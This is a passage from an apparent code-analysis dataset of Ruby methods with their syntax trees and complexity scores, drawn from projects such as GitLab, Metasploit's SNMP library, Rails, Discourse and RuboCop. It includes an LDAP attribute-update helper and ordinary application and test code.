end","complexity_score":39.5,"ast_json":"{\"type\":\"def\",\"children\":[\"action_update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_object\",{\"type\":\"send\",\"children\":[null,\"find_target_object\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_dn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_object\"]},\"[]\",{\"type\":\"str\",\"children\":[\"dN\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ATTRIBUTE\"]}]},\"to_sym\"]}]},{\"type\":\"lvasgn\",\"children\":[\"original_value\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_object\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Current value of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OBJECT\"]}]}]},{\"type\":\"str\",\"children\":[\"'s \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ATTRIBUTE\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_value\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ops\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"replace\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VALUE\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to update \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ATTRIBUTE\"]}]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_dn\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VALUE\"]}]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ldap\"]},\"modify\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dn\"]},{\"type\":\"lvar\",\"children\":[\"target_dn\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operations\"]},{\"type\":\"lvar\",\"children\":[\"ops\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_query_result!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ldap\"]},\"get_operation_result\"]},\"table\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully updated \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_dn\"]}]},{\"type\":\"str\",\"children\":[\"'s \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ATTRIBUTE\"]}]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VALUE\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"original_value\"]}]}]}","id":"875dd754-f827-46d4-a98e-daef9d659cf8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/gitmodules_parser.rb","start_line":21,"raw_source":"def initialize\n          @result = {}\n          @current_submodule = nil\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@result\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_submodule\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"c0957969-dd87-44da-9fc8-40b5916a3bfb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/manager.rb","start_line":667,"raw_source":"def process_traps(trap_listener)\n        @handler_init.call(trap_listener) if @handler_init\n        loop do\n            data, source_ip, source_port = @transport.recvfrom(@max_bytes)\n            begin\n                message = Message.decode(data)\n                if @config[:Community] == message.community\n                    trap = message.pdu\n                    if trap.kind_of?(InformRequest)\n                        @transport.send(message.response.encode, source_ip, source_port)\n                    end\n                    trap.source_ip = source_ip\n                    select_handler(trap).call(trap)\n                end\n            rescue => e\n                puts \"Error handling trap: #{e}\"\n                puts e.backtrace.join(\"\\n\")\n                puts \"Received data:\"\n                p data\n            end\n        end\n    end","complexity_score":50.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_traps\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"trap_listener\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handler_init\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handler_init\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"trap_listener\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\"]},{\"type\":\"lvasgn\",\"children\":[\"source_ip\"]},{\"type\":\"lvasgn\",\"children\":[\"source_port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@transport\"]},\"recvfrom\",{\"type\":\"ivar\",\"children\":[\"@max_bytes\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Message\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"Community\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"community\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"trap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"pdu\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trap\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"InformRequest\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@transport\"]},\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"response\"]},\"encode\"]},{\"type\":\"lvar\",\"children\":[\"source_ip\"]},{\"type\":\"lvar\",\"children\":[\"source_port\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trap\"]},\"source_ip=\",{\"type\":\"lvar\",\"children\":[\"source_ip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select_handler\",{\"type\":\"lvar\",\"children\":[\"trap\"]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"trap\"]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error handling trap: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Received data:\"]}]},{\"type\":\"send\",\"children\":[null,\"p\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},null]}]}]}]}]}]}","id":"92489dd1-011a-4ff3-9fb4-5b7d0b8d578d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/documentation_links/link.rb","start_line":141,"raw_source":"def check_anchor_exists(node, anchor, docs_file_path)\n            return true if anchor_exists_in_markdown?(anchor, docs_file_path)\n\n            loc = anchor_param(node)&.source_range || node.first_argument.source_range\n\n            add_offense(loc, message: format(MSG_ANCHOR_NOT_FOUND, anchor: anchor, file_path: docs_file_path))\n\n            false\n          end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_anchor_exists\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"anchor\"]},{\"type\":\"arg\",\"children\":[\"docs_file_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"anchor_exists_in_markdown?\",{\"type\":\"lvar\",\"children\":[\"anchor\"]},{\"type\":\"lvar\",\"children\":[\"docs_file_path\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"loc\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"anchor_param\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"source_range\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]},\"source_range\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"loc\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG_ANCHOR_NOT_FOUND\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor\"]},{\"type\":\"lvar\",\"children\":[\"anchor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_path\"]},{\"type\":\"lvar\",\"children\":[\"docs_file_path\"]}]}]}]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"e78074cd-8b0a-410a-b290-dbef1983ef88"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/remote_development/workspace_operations/create/desired_config/bm_devfile_resource_modifier.rb","start_line":16,"raw_source":"def self.modify(context)\n                context => {\n                  workspace_name: String => workspace_name,\n                  desired_config_array: Array => desired_config_array,\n                  use_kubernetes_user_namespaces: TrueClass | FalseClass => use_kubernetes_user_namespaces,\n                  default_runtime_class: String => default_runtime_class,\n                  allow_privilege_escalation: TrueClass | FalseClass => allow_privilege_escalation,\n                  default_resources_per_workspace_container: Hash => default_resources_per_workspace_container,\n                  env_secret_name: String => env_secret_name,\n                  file_secret_name: String => file_secret_name,\n                }\n\n                set_host_users(\n                  desired_config_array: desired_config_array,\n                  use_kubernetes_user_namespaces: use_kubernetes_user_namespaces\n                )\n\n                set_runtime_class(\n                  desired_config_array: desired_config_array,\n                  runtime_class_name: default_runtime_class\n                )\n\n                set_security_context(\n                  desired_config_array: desired_config_array,\n                  allow_privilege_escalation: allow_privilege_escalation\n                )\n\n                patch_default_resources(\n                  desired_config_array: desired_config_array,\n                  default_resources_per_workspace_container:\n                    default_resources_per_workspace_container\n                )\n\n                inject_secrets(\n                  desired_config_array: desired_config_array,\n                  env_secret_name: env_secret_name,\n                  file_secret_name: file_secret_name\n                )\n\n                set_service_account(\n                  desired_config_array: desired_config_array,\n                  service_account_name: workspace_name\n                )\n\n                context.merge({ desired_config_array: desired_config_array })\n              end","complexity_score":35.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"modify\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"match_pattern\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_name\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"match_var\",\"children\":[\"workspace_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desired_config_array\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"match_var\",\"children\":[\"desired_config_array\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_kubernetes_user_namespaces\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"match_alt\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrueClass\"]},{\"type\":\"const\",\"children\":[null,\"FalseClass\"]}]},{\"type\":\"match_var\",\"children\":[\"use_kubernetes_user_namespaces\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_runtime_class\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"match_var\",\"children\":[\"default_runtime_class\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_privilege_escalation\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"match_alt\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrueClass\"]},{\"type\":\"const\",\"children\":[null,\"FalseClass\"]}]},{\"type\":\"match_var\",\"children\":[\"allow_privilege_escalation\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_resources_per_workspace_container\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"match_var\",\"children\":[\"default_resources_per_workspace_container\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_secret_name\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"match_var\",\"children\":[\"env_secret_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_secret_name\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"match_var\",\"children\":[\"file_secret_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_host_users\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desired_config_array\"]},{\"type\":\"lvar\",\"children\":[\"desired_config_array\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_kubernetes_user_namespaces\"]},{\"type\":\"lvar\",\"children\":[\"use_kubernetes_user_namespaces\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_runtime_class\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desired_config_array\"]},{\"type\":\"lvar\",\"children\":[\"desired_config_array\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runtime_class_name\"]},{\"type\":\"lvar\",\"children\":[\"default_runtime_class\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_security_context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desired_config_array\"]},{\"type\":\"lvar\",\"children\":[\"desired_config_array\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_privilege_escalation\"]},{\"type\":\"lvar\",\"children\":[\"allow_privilege_escalation\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"patch_default_resources\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desired_config_array\"]},{\"type\":\"lvar\",\"children\":[\"desired_config_array\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_resources_per_workspace_container\"]},{\"type\":\"lvar\",\"children\":[\"default_resources_per_workspace_container\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"inject_secrets\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desired_config_array\"]},{\"type\":\"lvar\",\"children\":[\"desired_config_array\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_secret_name\"]},{\"type\":\"lvar\",\"children\":[\"env_secret_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_secret_name\"]},{\"type\":\"lvar\",\"children\":[\"file_secret_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_service_account\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desired_config_array\"]},{\"type\":\"lvar\",\"children\":[\"desired_config_array\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_account_name\"]},{\"type\":\"lvar\",\"children\":[\"workspace_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desired_config_array\"]},{\"type\":\"lvar\",\"children\":[\"desired_config_array\"]}]}]}]}]}]}","id":"4852a7dc-4481-438a-bc4b-b7bc5142491d"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/services/push_notification_pusher_spec.rb","start_line":39,"raw_source":"def execute_push(notification_type: 1, post_number: 1)\n      PushNotificationPusher.push(\n        user,\n        {\n          topic_title: topic_title,\n          username: username,\n          excerpt: \"description\",\n          topic_id: 1,\n          base_url: base_url,\n          post_url: post_url,\n          notification_type: notification_type,\n          post_number: post_number,\n        },\n      )\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_push\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"notification_type\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"kwoptarg\",\"children\":[\"post_number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PushNotificationPusher\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_title\"]},{\"type\":\"send\",\"children\":[null,\"topic_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[null,\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"excerpt\"]},{\"type\":\"str\",\"children\":[\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_url\"]},{\"type\":\"send\",\"children\":[null,\"base_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_url\"]},{\"type\":\"send\",\"children\":[null,\"post_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"lvar\",\"children\":[\"notification_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_number\"]},{\"type\":\"lvar\",\"children\":[\"post_number\"]}]}]}]}]}","id":"6a3ab6e1-68de-4bd3-8ad8-2a2852bfb344"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration.rb","start_line":748,"raw_source":"def any_schema_needs_update?\n          !db_configs_in_current_env.all? do |db_config|\n            Tasks::DatabaseTasks.schema_up_to_date?(db_config)\n          end\n        end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"any_schema_needs_update?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_configs_in_current_env\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"db_config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tasks\"]},\"DatabaseTasks\"]},\"schema_up_to_date?\",{\"type\":\"lvar\",\"children\":[\"db_config\"]}]}]},\"!\"]}]}","id":"99a19cb2-b876-4ad5-8f55-56ae3bfd6673"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_log.rb","start_line":1037,"raw_source":"def test_puts\n      mock(@logger).puts(\"log\")\n      @log.puts(\"log\")\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_puts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mock\",{\"type\":\"ivar\",\"children\":[\"@logger\"]}]},\"puts\",{\"type\":\"str\",\"children\":[\"log\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log\"]},\"puts\",{\"type\":\"str\",\"children\":[\"log\"]}]}]}]}","id":"20e502fd-0388-47f3-9d3b-8c2a5e7b7568"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/redis/alfred.rb","start_line":72,"raw_source":"def hget(key, field)\n      $alfred.with { |conn| conn.hget(key, field) }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"hget\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$alfred\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"hget\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]}","id":"94c851b2-0ed4-40ec-abce-7a6351d50f4a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/principals/replace_references_service.rb","start_line":38,"raw_source":"def add_replacements(attributes_by_class_name)\n        attributes_by_class_name.each do |class_name, attributes|\n          Array(attributes).each { |attribute| add_replacement(class_name, attribute) }\n        end\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"add_replacements\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes_by_class_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes_by_class_name\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_name\"]},{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"add_replacement\",{\"type\":\"lvar\",\"children\":[\"class_name\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}]}","id":"dea18e31-2ec5-4589-87b6-1682a050cd30"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/inline_diff.rb","start_line":14,"raw_source":"def inline_diffs\n        # Skip inline diff if empty line was replaced with content\n        return if old_line == \"\"\n\n        CharDiff.new(old_line, new_line).changed_ranges(offset: offset)\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"inline_diffs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"old_line\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CharDiff\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"old_line\"]},{\"type\":\"send\",\"children\":[null,\"new_line\"]}]},\"changed_ranges\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"send\",\"children\":[null,\"offset\"]}]}]}]}]}]}","id":"8c1ece78-560f-43fb-bc08-fc57b2935b24"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/migrations/db/post_migrate/20240424183213_backfill_deployment_approval_data_spec.rb","start_line":136,"raw_source":"def create_protected_environment(name, required_approval_count:)\n    table(:protected_environments).create!(\n      project_id: project.id,\n      name: name,\n      required_approval_count: required_approval_count\n    )\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_protected_environment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"required_approval_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\",{\"type\":\"sym\",\"children\":[\"protected_environments\"]}]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required_approval_count\"]},{\"type\":\"lvar\",\"children\":[\"required_approval_count\"]}]}]}]}]}","id":"11161376-a5c8-4c15-bcfd-61a915f183d0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_lines_around_access_modifier.rb","start_line":216,"raw_source":"def should_insert_line_before?(node)\n          return false if previous_line_empty?(node.first_line)\n          return true unless inside_block?(node) && no_empty_lines_around_block_body?\n          return true unless node.parent.begin_type?\n\n          node.parent.children.first != node\n        end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"should_insert_line_before?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_line_empty?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_line\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inside_block?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"no_empty_lines_around_block_body?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"begin_type?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"children\"]},\"first\"]},\"!=\",{\"type\":\"lvar\",\